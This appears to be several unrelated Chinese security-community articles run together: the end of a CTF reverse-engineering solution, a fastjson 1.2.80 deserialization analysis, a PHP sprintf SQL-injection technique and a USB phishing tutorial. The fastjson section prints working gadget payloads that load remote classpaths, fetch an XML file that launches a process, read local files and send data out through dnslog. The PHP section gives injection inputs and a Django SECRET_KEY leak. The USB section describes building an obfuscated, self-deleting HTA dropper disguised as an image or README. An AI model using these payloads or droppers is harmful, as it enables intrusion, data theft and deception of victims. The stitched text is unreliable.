for i in range(256):
solver.add(a[i] == p[i])
Input = [BitVec('Input%d' % i, 8) for i in range(4)]
t = BitVec('v1', 32)
solver.add(t == 0xFFFFFFFF)
for i in range(4):
idx = (ZeroExt(24, Input[i]) ^ t) & 0xff
t = LShR(t, 8) ^ a[idx]
t = ~t
solver.add(t == 0x0CAFABCBC)
assert solver.check() == sat
ans = solver.model()
print ''.join([chr(ans[Input[i]].as_long()) for i in range(4)]) #when
这个解法速度快，效率高，但是编写过程中需要一些思考，对 Z3 能力的考察也更多一些。
### 其余字节
结合上面的分析方法，得知这个代码架构是 ARM·
导出代码然后用 IDA 打开
打开后设置
根据代码中 uc_mem_map 的内容可以添加几个段，名称可以随意取
[1]0x10000 开始，长度为 0x1000
[2]0x20000 开始，长度为 0x10000
再分别给上面三个段开 RWX，便于 IDA 识别
这时候，在 **ROM 段框选全部的代码内容** ，再按 P 可以生成函数，按 F5 也可以查看伪代码，但是由于没有给变量位置定义，IDA
也没能自动识别出，这时的伪代码是不易理解的。
我们知道 0x21024 指针指向的就是我们输入内容的其余字节，所以我们可以去这个地址来定义一个变量。
按 G 可以跳转到这个地址，再按 N 可以定义一个名字
按小键盘上的 * 可以设置数组长度，这里设置为 0x1D
按 Y 可以设置变量类型，设置为 unsigned char
这时候再重新定义（点击函数头部，先按 U 取消定义，再选择整个函数的代码内容按 P 定义函数）这个函数，效果就完全不同了
代码的含义已经是比较清晰了
接下来来看看 hook 函数的代码，它对于 R3（0x45 常量对应）寄存器的内容进行了修改，使得最终结果不同，反应到伪代码上的内容就是上图中的 v11
变量的内容。
所以我们可以考虑先把这些变化依次在汇编中注释，然后再还原。
**Z3 解题代码**
from z3 import *
en = [0x29 + 15, 0x38 ^ 0x6f, 0x46 - 12, 0x50 ^ 0x12, 0x3E - 5, 0x36 + 33, 0x5E - 12, 0x42 ^ 0xd, 0x3D - 3, 0x47 + 15,
0x36 ^ 0x68, 0x40 ^ 0xA, 0x3E - 5, 0x58 - 33, 0x2A + 48, 0x50 ^ 0x18, 0x3C + 2, 0x47 - 16, 0x3D ^ 0x1B, 0x42 + 6,
0x29 ^ 0x13, 0x31, 0x20, 0x20]
solver = Solver()
part2 = [BitVec('part2[%d]' % i, 8) for i in range(16)]
index = -1
i = 0
for i in range(0, 13, 3):
index += 1
solver.add(((part2[i] >> 2) + 33) == en[index])
index += 1
solver.add((((16 * part2[i]) & 0x30 | (part2[i + 1] >> 4)) + 33) == en[index])
index += 1
solver.add((((4 * part2[i + 1]) & 0x3C | (part2[i + 2] >> 6)) + 33) == en[index])
index += 1
solver.add(((part2[i + 2] & 0x3F) + 33) == en[index])
i = 15
if i <= 15:
index += 1
solver.add(((part2[i] >> 2) + 33) == en[index])
index += 1
if i == 15:
solver.add((((16 * part2[i]) & 0x30) + 33) == en[index])
index += 1
solver.add(0x20 == en[index])
else:
solver.add((((16 * part2[i]) & 0x30 | (part2[i + 1] >> 4)) + 33) == en[index])
index += 1
solver.add((((4 * part2[i + 1]) & 0x3C) + 33) == en[index])
index += 1
solver.add(0x20 == en[index])
assert solver.check() == sat
ans = solver.model()
print ''.join([chr(ans[part2[i]].as_long()) for i in range(16)]) #_faclng_ianguage
## GetFlag
## 总结
我认为这题非常值得大家学习，我认为以后也会出现类似的赛题，如果提前熟悉
unicorn，那么做题速度一定会大大的增加，但是这道题目对于这个比赛实在是不太友好，而且在比赛进行到一半时间才把附件放出，导致大多数选手没能完成本题，且在比赛过程中不能使用外网，对于一些并没有接触过
unicorn 的同学来说，这题里的一些函数调用，包括一些常数的定义，以及 MIPS 汇编、ARM 汇编的含义也难以理解。
**题目文件**
链接: <https://pan.baidu.com/s/1OqoBwt1_uHu0Z0vgOw4Xaw> 提取码: 6grn | 社区文章 |
学习一下浅蓝的《Hacking JSON》议题。
# 回顾fastjson历史漏洞
fastjson1.2.47是通过MiscCodec向白名单缓存中put任意类。
fastjson1.2.68是用的期望类，
找实现了AutoCloseable接口的子类中的危险操作。
1.2.68的修复方式简单粗暴，将`java.lang.Runnable`、`java.lang.Readable`和`java.lang.AutoCloseable`加入了黑名单，那么1.2.80用的就是另一个期望类：异常类Throwable。
# 详细分析
浅蓝给了两张图说明他的挖掘思路。
关键点就在于 **反序列化setter method parameter OR public field（无视autotype）时添加类到白名单**
给了上图的挖掘思路，那么我们就要弄明白为什么setter参数、公有字段、构造函数参数这三个点的类型会被加到白名单缓存mapping中。
先写几个demo来看
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.util.TypeUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.concurrent.ConcurrentMap;
public class Main {
public static void main(String[] args) throws Exception {
String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
Field mappings = TypeUtils.class.getDeclaredField("mappings");
mappings.setAccessible(true);
ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
System.out.println("----------------");
o.forEach((k, v) -> {
if (k.contains("My")) {
System.out.println(k);
}
});
}
}
public class MyClass {
public String name;
}
public class MyException extends Throwable {
private MyClass clazz;
public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}
我们构造一个json来讲解漏洞原理
{
"a":{
"@type":"java.lang.Exception",
"@type":"MyException",
"clazz":{},
"stackTrace":[]
},
"b":{
"@type":"MyClass","name":"asd"
}
}
a部分就是众所周知的期望类，用继承了Exception的MyException类作为type。
在`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)`中
expectClassFlag为true，所以会从classloader中加载MyException拿到class
并且期望类不为空时会把目标类加入到类缓存中`TypeUtils.addMapping(typeName, clazz)`
解决完两个type标签之后，现在来看clazz标签的解析过程
因为是异常类，所以在`com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)`拿到的是ThrowableDeserializer反序列化器
深究getDeserializer函数
如果是type传入的是Class则进入`com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>,
java.lang.reflect.Type)`
这个函数中会针对不同类的class类型分配相应的反序列化器
并且最终都会将type和deserializer的对应关系put到自身的deserializers
map中`com.alibaba.fastjson.parser.ParserConfig#putDeserializer`
拿到对应的反序列化器之后进入`com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze`
先createException通过构造函数创建异常实例，然后通过getDeserializer拿到对应的反序列化器，然后用反序列化器拿到对应字段的字段反序列化实例FieldDeserializer
如果value不是fieldClass类型的会进入`com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object,
java.lang.reflect.Type, com.alibaba.fastjson.parser.ParserConfig)`进行类型转换
多次判断之后会进入`com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object,
java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)`
在这个函数中会根据传入对象的具体类型来进行对应的类型转换操作，因为我们传入的是`"clazz":{}`也就是一个JSONObject，所以走到Map的类型转换，进入
`com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>,
java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)`
在这里又一次进入getDeserializer，而此时参数是MyException类clazz字段的类型，即MyClass。
那么重点来了，此时在`com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>,
java.lang.reflect.Type)`函数中
调用自身putDeserializer函数，填充ParserConfig自身的`this.deserializers.put(type,
deserializer)`
而在`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)`中
在反序列化json中的b标签时，对`"@type":"MyClass"`进行checkAutoType时就能拿到MyClass类而不会抛出异常了。
到此分析结束。捋一下思路，根据异常类作为期望类时，会先用构造函数创建出MyException实例，然后绑定对应字段，调用setter。而字段类型MyClass在进入getDeserializer函数时会被put到ParserConfig的deserializers列表中，这样造成在checkautotype时可以通过deserializers拿到对应的MyClass类而不会为null。
类字段如此，构造函数的参数和setter的参数应该也是大差不差。
# 修复
1. <https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d>
2. <https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15>
除了黑白名单的变化以外就是直接端掉异常类这条路。
并且在加类缓存时多了一次autotype判断
# gadget
整理一下poc，一些探测版本、探测依赖什么的懒得弄了。
## groovy
依赖groovy
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}
`META-INF/services/org.codehaus.groovy.transform.ASTTransformation`
文件中写Evil，然后创建一个Evil类写自己的命令执行代码。
## jdbc
依赖jython+postgresql+spring-context
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
## aspectj
分三次打
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
回显可以用报错或者dnslog，只改第三部分的payload为
{
"@type":"java.lang.Character"
{
"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
dnslog win平台下我没成功
{ "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}
# 参考
1. [《Hacking JSON》](https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf)
2. <https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/>
3. <https://moonsec.top/articles/112> | 社区文章 |
# PHP字符串格式化特点和漏洞利用点
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## PHP中的格式化字符串函数
在PHP中存在多个字符串格式化函数，分别是`printf()`、`sprintf()`、`vsprintf()`。他们的功能都大同小异。
* printf, `int printf ( string $format [, mixed $args [, mixed $... ]] )`,直接将格式化的结果输出，返回值是int。
* sprintf, `string sprintf ( string $format [, mixed $args [, mixed $... ]] )`,返回格式化字符串的结果
* vsprintf, `string vsprintf ( string $format , array $args )`,与`sprintf()`相似，不同之处在于参数是以数组的方式传入。
三者的功能类似，以下仅以`sprintf()`来说明常规的格式化字符串的方法。
单个参数格式化的方法
var_dump(sprintf('1%s9','monkey')); # 格式化字符串。结果是1monkey9
var_dump(sprintf('1%d9','456')); # 格式化数字。结果是14569
var_dump(sprintf("1%10s9",'moneky')); # 设置格式化字符串的长度为10，如果长度不足10，则以空格代替。结果是1 moneky9(length=12)
var_dump(sprintf("1%10s9",'many monkeys')); # 设置格式化字符串的长度为10，如果长度超过10，则保持不变。结果是1many monkeys9(length=14)
var_dump(sprintf("1%'^10s9",'monkey')); # 设置格式化字符串的长度为10，如果长度不足10，则以^代替。结果是1^^^^monkey9(length=12)
var_dump(sprintf("1%'^10s9",'monkey')); # 设置格式化字符串的长度为10，如果长度超过10，则保持不变。结果是1many monkeys9(length=14)
多个参数格式化的方法
$num = 5;
$location = 'tree';
echo sprintf('There are %d monkeys in the %s', $num, $location); # 位置对应，
echo sprintf('The %s contains %d monkeys', $location, $num); # 位置对应
echo sprintf('The %2$s contains %1$d monkeys', $num, $location); # 通过%2、%1来申明需要格式化的是第多少个参数，比如%2$s表示的是使用第二个格式化参数即$location进行格式化，同时该参数的类型是字符串类型(s表明了类型)
在格式化中申明的格式化参数类型有几个就说明是存在几个格式化参数，在上面的例子都是两个参数。如果是下方这种:
echo sprintf('The %s contains %d monkeys', 'tree'); # 返回结果为False
则会出现`Too few
arguments`，因为存在两个格式化参数`%s`和`%d`但仅仅只是传入了一个变量`tree`导致格式化出错返回结果为False，无法进行格式化。
## 格式化字符串的特性
除了上面的一般用法之外，格式化中的一些怪异的用法常常被人忽略，则这些恰好是漏洞的来源。
### 字符串padding
常规的padding默认采用的是空格方式进行填充，如果需要使用其他的字符进行填充，则需要以`%'[需要填充的字符]10s`格式来表示，如`%'#10s`表示以`#`填充，`%'$10s`表示以`$`填充
var_dump(sprintf("1%10s9",'monkey')); # 使用空格进行填充
var_dump(sprintf("1%'#10s9",'monkey')); # 使用#填充，结果是 1####monkey9
var_dump(sprintf("1%'$10s9",'monkey')); # 使用$填充，结果是 1$$$$monkey9
从上面的例子看到， **在某些情况下单引号在格式化时会被吞掉，而这就有可能会埋下漏洞的隐患。**
### 字符串按位置格式化
按位置格式化字符串的常规用法
$num = 5;
$location = 'tree';
var_dump(sprintf('The %2$s contains %1$d monkeys', $num, $location));
这种制定参数位置的格式化方法会使用到`%2$s`这种格式化的方式表示。其中`%2`表示格式化第二个参数，`$s`表示需要格式化的参数类型是字符串。如下:
var_dump(sprintf('%1$s-%s', 'monkey')); # 结果是monkey-monkey
因为`%1$s`表示格式化第一个字符串，而后面的`%s`默认情况下同样格式化的是第一个字符串，所以最终的结果是`monkey-monkey`。如果是:
var_dump(sprintf('%2$s-%s', 'monkey1','monkey2')); # 结果是monkey2-monkey1
因为`%2$s`格式化第二个字符串，`%s`格式化第一个字符串。
下面看一些比较奇怪的写法。首先我们需要知道在[sprintf用法](http://php.net/manual/en/function.sprintf.php)中已经说明了可以格式化的类型
如果遇到无法识别的格式化类型呢？如：
var_dump(sprintf('%1$as', 'monkey')); # 结果是s
由于在格式化类型中不存在`a`类型，导致格式化失败。此时`%1$a`在格式化字符串时无用就直接舍弃，最后得到的就是`s`。但是如果我们写成：
var_dump(sprintf('%1$a%s', 'monkey')); # 结果是monkey
因为`%1$a%s`中`a`为无法识别的类型，则直接舍弃。剩下的`%s`可以继续进行格式化得到`monkey`
**那么结论就是`%1$[格式化类型]`，如果所声明的格式化类型不存在，则`%1$[格式化类型]`会被全部舍弃，留下剩下的字符。**
如果在`$`接上数字呢？如`%1$10s`呢？
var_dump(sprintf('%1$10s', 'monkey')); # 结果是' monkey' (length=10)
此时表示的是格式化字符串的长度，默认使用的是空格进行填充。如果需要使用其他的字符串填充呢？此时格式是`%1$'[需要填充的字符]10s`。
var_dump(sprintf("%1$'#10s", 'monkey')); # 结果是 '####monkey' (length=10)
除此之外，还存在一些其他的奇怪的用法，如下：
var_dump(sprintf("%1$'%s", 'monkey')); # 得到的结果就是 monkey
`
按照之前的说法，由于`'`是无法识别的类型，所以`%1$'`会被舍弃，剩余的`%s`进行格式化得到的就是`monkey`。可以发现在这种情况下`'`已经消失了。假设程序经过过滤得到的字符串是`%1$'%s'`,那么就会导致中间的`'`被吞掉，如下：
var_dump(sprintf("%1$'%s'", 'monkey')); # 得到的结果是 monkey'
## 吞掉引号
对上面进行一个简单的总结，除了一些不常见的字符串的格式化用法之外，还存在一些吞掉引号的用法。都是处在字符串padding的情况下。
var_dump(sprintf("1%'#10s9",'monkey')); # 使用#填充，结果是 1####monkey9
var_dump(sprintf("%1$'#10s", 'monkey')); # 结果是 '####monkey' (length=10)
这两种`'`被吞掉的情况都有可能会引起漏洞。
## 漏洞示例
通过一段存在漏洞的代码来说明这种情况
$value1 = $_GET['value1'];
$value2 = $_GET['value2'];
$a = prepare("AND meta_value=%s",$value1);
$b = prepare("SELECT * FROM table WHERE key=%s $a",$value2);
function prepare($query,$args) {
$query = str_replace("'%s'",'%s',$query);
$query = str_replace('"%s"','$s',$query);
$query = preg_replace('|(?<!%)%f|','%F',$query);
$query = preg_replace('|(?<!%)%s|', "'%s'", $query);
return @vsprintf($query,$args);
}
`$value1`和`$value2`是用户可控，函数`prepare()`会去掉格式化字符串`%s`的单引号和双引号，同时在最后加上单引号。虽然最后加上了一个`'`，但是我们还是有办法能够逃脱这个单引号。利用方式就是通过之前申明字符串填充padding的方式吞掉单引号。
### 利用%1$’%s
之前已经说过`sprintf("%1$'%s", 'monkey')`就可以吞掉其中的`'`。那么在本例中，我们可以设置：
$value1 = '1 %1$%s (here sqli payload) --';
$value2 = '_dump';
此时,经过`$a = prepare("AND meta_value=%s",$value1);`，得到`$a`是`AND meta_value='1
%1$%s (here sqli payload) --'`。之后执行`$b = prepare("SELECT * FROM table WHERE
key=%s $a",$value2);`，其中`$value2`是`_dump`。下面仔细分析：
经过`$query = preg_replace('|(?<!%)%s|', "'%s'",
$query)`会将所有的`%s`全部变为`'%s'`，所以此时得到的`$query`是`SELECT * FROM table WHERE
key='%s' AND meta_value='1 %1$'%s' (here sqli payload) --'`。
此时其中刚好存在有`1 %1$'%s`这种形式的格式化字符串，导致其中的`%1$'`会被去除，剩下`1 %s'`,此时就类似于`SELECT * FROM
table WHERE key='%s' AND meta_value='1 %s' (here sqli payload)
--'`，格式化`vsprintf("SELECT * FROM table WHERE key='%s' AND meta_value='1 %s'
(here sqli payload) --'",_dump)`刚好闭合了前面的单引号形成SQL注入。得到的结果如下：
## 方式二
上面利用的是`%1$'%s`，即在位置声明时出错导致吞掉单引号的方式，本方式是通过自身引入`'`与加入的单引号重合的方式。如：
$query = '1 %s 2';
$query = preg_replace('|(?<!%)%s|', "'%s'", $query); # 得到 1 '%s' 2'
$query = preg_replace('|(?<!%)%s|', "'%s'", $query); # 得到 1 ''%s'' 2
可以发现经过两次相同的过滤，最终导致`%s`逃逸出来。而在本题中的`$value1`同样是经过了两个的过滤。
所以，我们如果设置
$value1 = ' %s '; # 注意%s 前后的空格
$value2 = array('_dump', '(here sqli payload) --');
经过`$a = prepare("AND meta_value=%s",$value1);`得到`$a`为`AND meta_value=' %s
'`。其中`$value`是`array('_dump', '(here sqli payload) --')`，分析代码`$b =
prepare("SELECT * FROM table WHERE key=%s $a",$value2);`。
分析执行`$query = preg_replace('|(?<!%)%s|', "'%s'", $query);`之前和之后的代码：
执行之前,$query为“
执行之后,$query为`SELECT * FROM table WHERE key='%s' AND meta_value=' '%s' '`
可以发现所有的`%s`全部被左右全被加上了单引号，刚好与之前的单引号进行匹配，导致`AND meta_value=' '%s'
'`中的`%s`逃逸出来。最后的几个就是`SELECT * FROM table WHERE key='_dump' AND meta_value='
'(here sqli payload) --' '`。
## 其他
虽然本篇文章主要讨论的是PHP中的字符串漏洞，但是对于其他语言如(Java/Python)也在这里进行一个简单的讨论。(以下的例子借用的是xiaoxiong文章[wordpress
格式化字符串注入](https://superxiaoxiong.github.io/2017/11/02/wordpress-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%B3%A8%E5%85%A5/)中的例子)
### Java格式化
StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%s %s %1$s", "a", "monkey");
System.out.println(formatter);
最后输出的结果是`a monkey
a`，因为前面两个`%s`是按照顺序取，得到的是`a`和`monkey`,而后面的`%1$s`按照位置取，得到的是`a`，所以最后的结果是`a monkey
a`。
如果写为:
StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%s %s '%2$c %1$s", "a", 39, "c", "d");
System.out.println(formatter);
最后得到的结果是`a 39 ''
a`，前面两个`%s`按照顺序去得到`a`和`39`，而`%1$s`取第一个参数，得到`a`。`%2$c`取第二个参数，并且将其值作为数字得到其对应的ASCII字符，因为39对应的ASCII字符是`'`，所以`'%2$c`得到的就是`''`。
那么，我们能否借鉴PHP中的思路，吞掉`'`呢？
StringBuilder sb = new StringBuilder();
Formatter formatter = new Formatter(sb, Locale.US);
formatter.format("%2$'s", "a", "monkey");
System.out.println(formatter);
程序会出现`java.util.UnknownFormatConversionException`，无法进行类型转换的错误，所以利用Java中进行格式化的转换，目前还需要进一步的研究。
### Python
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
poc:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
这个代码是基于Django的环境下的存在漏洞的代码。通过第一次格式化改变了语句结构，第二次格式化进行赋值。由于平时对Django接触得比较少，所以这个代码理解得还不是很透，需要进一步的实践才能够知道。
## 总结
看似一些正常功能的函数在某些特殊情况下恰好能够为埋下漏洞的隐患，而字符串格式化刚好就是一个这样的例子，也从侧面说明了安全需要猥琐呀。
## 参考
<https://superxiaoxiong.github.io/2017/11/02/wordpress-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%B3%A8%E5%85%A5/> | 社区文章 |
# 利用U盘钓鱼的各种姿势
##### 译文声明
本文是翻译文章，文章来源：blog.sevagas.com
原文地址：<http://blog.sevagas.com/?Advanced-USB-key-phishing=>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
我个人在能源行业已经工作了好几年，在这个领域，安全态势与传统的IT有所不同。比如，在这个行业可用性会比保密性更加重要，此外系统通常不会连接到互联网（话虽如此，大家都还记得Wannacry疯狂肆虐的样子吗）。网络信号过滤或者物理隔离是这种场景中攻击者必须绕过的安全防御机制。
针对工业系统的攻击通常由自动化恶意软件载荷来发起，这类载荷并不需要连接到远程系统。此外，载荷并不需要完成数据窃取任务，因为其主要目标就是大肆破坏。Stuxnet（震网）病毒就是此类攻击的一个绝佳案例。
在本文中，我想给大家展示如何利用恶意U盘的一些PoC方法，这些方法可以在模拟攻击环境中进行攻击。这类攻击方法必须遵循如下规则：
1、没有建立互联网连接；
2、除了目标系统的OS信息之外，对其他信息一无所知；
3、U盘上可见的内容应该尽可能少地触发警告信息；
4、载荷的执行应该尽可能少地触发警告信息。
我们的目标是传播并运行二进制载荷。在如下一些样例中，我们的载荷为DLL文件（`payload.dll`）。
## 二、利用LNK文件
**目标系统** ：MS Windows OS
**主要原理：** 我曾介绍过如何利用HTA文件发起攻击，这是具体的操作方法。
### 利用策略
在第一个PoC中，我们的任务是让目标用户认为自己打开的是一个图片文件（`confidential.jpg`），然而实际上他打开的是一个恶意的LNK快捷方式文件（`confidential.jpg.lnk`）。快捷方式中隐藏着一个HTA释放器（dropper）。LNK会执行HTA文件，后者会释放并执行DLL载荷，并将快捷方式替换为一张欺诈图片（`confidential.jpg`）。
### 构造释放DLL的HTA载荷
我们可以利用[macro_pack](https://github.com/sevagas/macro_pack)来构造经过混淆处理的HTA载荷，该载荷可以释放并执行`payload.dll`，具体命令如下：
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
`EMBED_DLL`模板可以创建一段VB代码，释放`-embed`参数所指向的文件，并使用`Rundl32l`来加载这个文件。我们可以指定模板运行DLL文件的`DllMain`函数。
我们可以使用`-G`选项来生成HTA文件，文件中的VB代码经过混淆处理。
大家可以使用mshta来检查HTA文件是否能正常运行，是否会调用我们的DLL文件（DLL文件将被释放到临时目录中）。
### 构造释放图片的HTA载荷
我们也可以使用`EMBED_EXE`这个[macro_pack](https://github.com/sevagas/macro_pack)模板来嵌入、释放并运行我们选定目录中的载荷。在本文案例中，我们使用的是“confidential.jpg”这张图片。我们的目标是将该图片释放到恶意LNK文件所处的同一目录中，这样一旦DLL载荷被成功运行，该图片就可以替换对应的LNK文件。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果我们双击`pic.hta`，我们会看到`confidential.jpg`图片被释放到当前目录中，并且被默认的图片查看器打开。
### 封装到自删除的HTA文件中
我并没有开发具体功能来将多个二进制载荷嵌入一个`macro_pack`中，也就是说我们必须生成DLL释放器、图片释放器然后手动执行复制粘贴操作才能构造最终可用的HTA载荷。
具体操作如下：
1、使用文本编辑器打开`payload.hta`以及`pic.hta`文件；
2、将`pic.hta`的`AutoOpen`函数重命名为`AutoOpen2`；
3、将`pic.hta`的所有vb代码拷贝到`payload.hta`中（最后两行的`AutoOpen`以及`Close`代码除外）。
4、编辑`payload.hta`文件最后两行的`AutoOpen`以及`Close`代码。
AutoOpen2
AutoOpen
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set WshShell = CreateObject("WScript.Shell")
objFSO.DeleteFile window.document.location.pathname
Close
现在`payload.hta`文件会释放并运行图片，然后运行DLL并在运行后删除自身文件。
> 注意：如果我们想要多次使用同一个USB介质，我们需要去掉自删除代码，将图片释放到临时目录中，而非当前目录中。
### 构建恶意LNK文件
我们可以利用HTA文件的便捷性，将其嵌入到LNK文件中。由于我们的LNK文件名为`confidential.jpg.lnk`，我们希望它能顺利运行如下命令：
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
>
> 注意：我们在构造USB载荷时，遇到的一个难题是载荷需要知道自己所处的具体路径。这个例子中，我们依赖的是`macro_pack`，它可以配置LNK文件运行在当前目录中，这样一来`%cd%`命令就能给出当前的卷名及路径。在第二个PoC中我们可以看到更为困难的一种场景。
我们可以使用`macro_pack`来生成LNK。我选择直接将快捷方式生成到USB介质中，避免我们拷贝快捷方式时系统对其做出修改。这里USB介质的卷标为“G:”。
macro_pack.exe -G G:confidential.jpg.lnk
当提示输入“Shortcut_Target”时我们输入如下信息：
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
当提示输入“Shortcut_Icon”时我们输入如下信息：
%windir%system32imageres.dll,67
> 注意：67这个数字对应的是`imageres.dll`中的JPG图像。
现在LNK快捷方式已创建完毕，我们可以将HTA代码附加到该文件中。
copy /b G:confidential.jpg.lnk+cmd.hta G:confidential.jpg.lnk
就这么简单，我们的钓鱼载荷已构造完毕。
### 测试
将`confidential.jpg.lnk`拷贝到某个USB介质中，并将该介质插入另一个Windows主机上。访问U盘并双击`confidential.jpg`，系统会向我们显示对应的图片。
DLL已被成功加载，但处于隐藏状态，我们可以使用`taskmgr`或者Sysinternals的`procexp`观察正在运行的DLL。DLL文件被释放到临时目录中的“Document1.asd”，并使用如下VB代码加以运行。
CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,<<<DLL_FUNCTION>>>", 0
顺利执行后，我们会发现U盘上LNK文件已不复存在，被替换成正确的图片文件。
## 三、利用恶意设置
**目标系统：** MS Windows 10
**主要原理：**[Matt Nelson](https://twitter.com/enigma0x3)之前发表过有关[SettingContent-ms](https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39)文件的研究结果，这里用到的就是这个原理。
### 利用策略
在这个场景中，我们的任务是让目标用户认为他打开的是“README.txt”文件，实际上他运行的是一个恶意的settingcontent-ms文件。
由于settingcontent-ms文件遵循严格的XML规范，因此貌似我们无法像前一种方法那样将其与HTA文件融合起来。这里我们可以使用NTFS的Alternate Data
Streams（ADS，供选数据流）来隐藏并运行DLL载荷。
这个settingcontent-ms文件将会执行隐藏在Alternate Data Stream（README.txt.settingcontent-ms:R）中的DLL，也会运行Notepad来显示另一个ADS（README.txt.settingcontent-ms:T.txt）中存放的欺诈文本。
settingcontent-ms文件的优势在于它不会像LNK或者URI文件那样图标上有个快捷箭头。
### 构建欺诈文本
首先我们可以构建一个简单的文本文件，当目标用户打开readme文件时就会在notepad中看到具体内容。
echo "This is a simple README file." > Text.txt
### 构建恶意设置快捷方式文件
我们可以使用[macro_pack](https://github.com/sevagas/macro_pack)来生成settincontent-ms文件。比如，我们可以使用如下命令来生成一个伪造的`README.txt`文件，该文件可以通过命令行来运行计算器应用：
echo 'C:windowssystem32cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
能弹出计算器的确很不错，但我们真正需要的是能够运行载荷。DLL以及欺诈文件会隐藏在USB介质NTFS文件系统的Alternate Data
